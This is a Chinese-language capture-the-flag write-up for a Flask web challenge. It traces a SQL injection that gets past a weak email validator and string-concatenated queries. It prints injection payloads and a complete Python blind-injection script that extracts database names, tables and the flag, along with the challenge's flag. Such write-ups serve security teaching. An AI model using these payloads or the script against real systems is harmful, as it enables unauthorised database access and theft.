python is the best language

http://39.107.32.29:20000

http://117.50.16.51:20000

下载地址
备用下载地址(密码:rtou)

I'm learning the flask recently,and I think python is the best language in the world!don't you think so?

源码下载下来后,由于是基于flask框架,因此先看了看路由文件routes.py,大概如下:

@app.before_request
def before_request():

@app.teardown_request
def shutdown_session(exception=None):

@app.route('/', methods=\['GET', 'POST'\])
@app.route('/index', methods=\['GET', 'POST'\])
@login_required
def index():

@app.route('/explore')
@login_required
def explore():

@app.route('/logout')
def logout():

@app.route('/register', methods=\['GET', 'POST'\])
def register():

@app.route('/user/<username>')
@login_required
def user(username):

@app.route('/edit_profile', methods=\['GET', 'POST'\])
@login_required
def edit_profile():

@app.route('/follow/<username>')
@login_required
def follow(username):

@app.route('/unfollow/<username>')
@login_required
def unfollow(username):

这些功能大部分是基于登陆的,因此从注册和登陆相关的代码入手。

@app.route('/register', methods=\['GET', 'POST'\])
def register():
    if current_user.is_authenticated:
        return redirect(url_for('index'))
    form = RegistrationForm()
    if form.validate\_on\_submit():
        res = mysql.Add("user", \["NULL", "'%s'" % form.username.data, "'%s'" % form.email.data,
                                 "'%s'" % generate\_password\_hash(form.password.data), "''", "'%s'" % now()\])
        if res == 1:
            flash('Congratulations, you are now a registered user!')
            return redirect(url_for('login'))
    return render_template('register.html', title='Register', form=form)

跟进RegistrationForm,定义在 forms.py的第20行:

class RegistrationForm(FlaskForm):
    username = StringField('Username', validators=\[DataRequired()\])
    email = StringField('Email', validators=\[DataRequired(), Email()\])
    password = PasswordField('Password', validators=\[DataRequired()\])
    password2 = PasswordField(
        'Repeat Password', validators=\[DataRequired(), EqualTo('password')\])
    submit = SubmitField('Register')

    def validate_username(self, username):
        if re.match("^\[a-zA-Z0-9_\]+$", username.data) == None:
            raise ValidationError('username has invalid charactor!')
        user = mysql.One("user", {"username": "'%s'" % username.data}, \["id"\])
        if user != 0:
            raise ValidationError('Please use a different username.')

    def validate_email(self, email):
        user = mysql.One("user", {"email":  "'%s'" % email.data}, \["id"\])
        if user != 0:
            raise ValidationError('Please use a different email address.')

在这里可以很明显的看到两个验证函数有差别,validate_username在进行mysql.One前进行了正则匹配的过滤和审核,而validate_email仅仅通过validators=[DataRequired(), Email()]来匹配。

Email定义在wtforms.validators中,相关源码如下:

class Email(Regexp):
    """
 Validates an email address. Note that this uses a very primitive regular
 expression and should only be used in instances where you later verify by
 other means, such as email activation or lookups.
 :param message:
 Error message to raise in case of a validation error.
 """
    def \_\_init\_\_(self, message=None):
        self.validate_hostname = HostnameValidation(
            require_tld=True,
        )
        super(Email, self).\_\_init\_\_(r'^.+@(\[^.@\]\[^@\]+)$', re.IGNORECASE, message)
    def \_\_call\_\_(self, form, field):
        message = self.message
        if message is None:
            message = field.gettext('Invalid email address.')
        match = super(Email, self).\_\_call\_\_(form, field, message)
        if not self.validate_hostname(match.group(1)):
            raise ValidationError(message)

其正则规则为^.+@([^.@][^@]+)$,也就是说对email而言,即使提交如'"#a@q.com包含单引号,双引号,注释符等敏感字符的形式也是能通过的。

回到validate_email验证函数中:

def validate_email(self, email):
    user = mysql.One("user", {"email":  "'%s'" % email.data}, \["id"\])
    if user != 0:
        raise ValidationError('Please use a different email address.')

跟入mysql.One,定义在others.py:

\# mysql.One("user", {"email":  "'%s'" % email.data}, \["id"\])
def One(self, tablename, where={}, feildname=\["*"\], order="", where_symbols="=", l="and"):
    \# self.Sel("user", {"email":  "'%s'" % email.data}, \["id"\], "", "=", l)
    sql = self.Sel(tablename, where, feildname, order, where_symbols, l)
    try:
        res = self.db_session.execute(sql).fetchone()
        if res == None:
            return 0
        return res
    except:
        return -1

跟入self.Sel:

\# self.Sel("user", {"email":  "'%s'" % email.data}, \["id"\], "", "=", l)
def Sel(self, tablename, where={}, feildname=\["*"\], order="", where_symbols="=", l="and"):
    sql = "select "
    sql += "".join(i + "," for i in feildname)\[:-1\] + " "
    sql += "from " + tablename + " "
    if where != {}:
        sql += "where " + "".join(i + " " + where_symbols + " " +
                                    str(where\[i\]) + " " + l + " " for i in where)\[:-4\]
    if order != "":
        sql += "order by " + "".join(i + "," for i in order)\[:-1\]
    return sql

最后拼接出来的sql语句如下:

select id from user where email = 'your input email'

结合前面所说的对输入邮箱email形式的验证,这里存在sql注入漏洞。我们设置邮箱为test'/**/or/**/1=1#@test.com,则拼接后的sql语句为:

select id from user where email = 'test'/**/or/**/1=1#@test.com'

可以看到成功注入。由于此处不能回显数据,因此采用盲注。回到validate_username

def validate_username(self, username):
    if re.match("^\[a-zA-Z0-9_\]+$", username.data) == None:
        raise ValidationError('username has invalid charactor!')
    user = mysql.One("user", {"username": "'%s'" % username.data}, \["id"\])
    if user != 0:
        raise ValidationError('Please use a different username.')

当查询为真时也即user != 0会出现信息Please use a different username.,结合这点构造出最后的exp.py:

import requests
from bs4 import BeautifulSoup

url = "http://39.107.32.29:20000/register"

r = requests.get(url)
soup = BeautifulSoup(r.text,"html5lib")
token = soup.find_all(id='csrf_token')\[0\].get("value")

notice = "Please use a different email address."
result = ""

database = "(SELECT/**/GROUP\_CONCAT(schema\_name/**/SEPARATOR/**/0x3c62723e)/**/FROM/**/INFORMATION_SCHEMA.SCHEMATA)"
tables = "(SELECT/**/GROUP\_CONCAT(table\_name/**/SEPARATOR/**/0x3c62723e)/**/FROM/**/INFORMATION\_SCHEMA.TABLES/**/WHERE/**/TABLE\_SCHEMA=DATABASE())"
columns = "(SELECT/**/GROUP\_CONCAT(column\_name/**/SEPARATOR/**/0x3c62723e)/**/FROM/**/INFORMATION\_SCHEMA.COLUMNS/**/WHERE/**/TABLE\_NAME=0x666c616161616167)"
data = "(SELECT/**/GROUP_CONCAT(flllllag/**/SEPARATOR/**/0x3c62723e)/**/FROM/**/flaaaaag)"

for i in range(1,100):
    for j in range(32,127):
        payload = "test'/**/or/**/ascii(substr("+  data +",%d,1))=%d#/**/@chybeta.com" % (i,j)
        print payload
        post_data = {
            'csrf_token': token,
            'username': 'a',
            'email':payload,
            'password':'a',
            'password2':'a',
            'submit':'Register'
        }
        r = requests.post(url,data=post_data)
        soup = BeautifulSoup(r.text,"html5lib")
        token = soup.find_all(id='csrf_token')\[0\].get("value")
        if notice in r.text:
            result += chr(j)
            print result
            break

由于在注册部分有csrf_token,因此在每次submit时要记得带上,同时在每次返回的页面中取得下一次的csrf_token。

最后的flag:QWB{us1ng_val1dator_caut1ous}

本文章首发在 网安wangan.com 网站上。

上一篇 下一篇
讨论数量: 0
只看当前版本


暂无话题~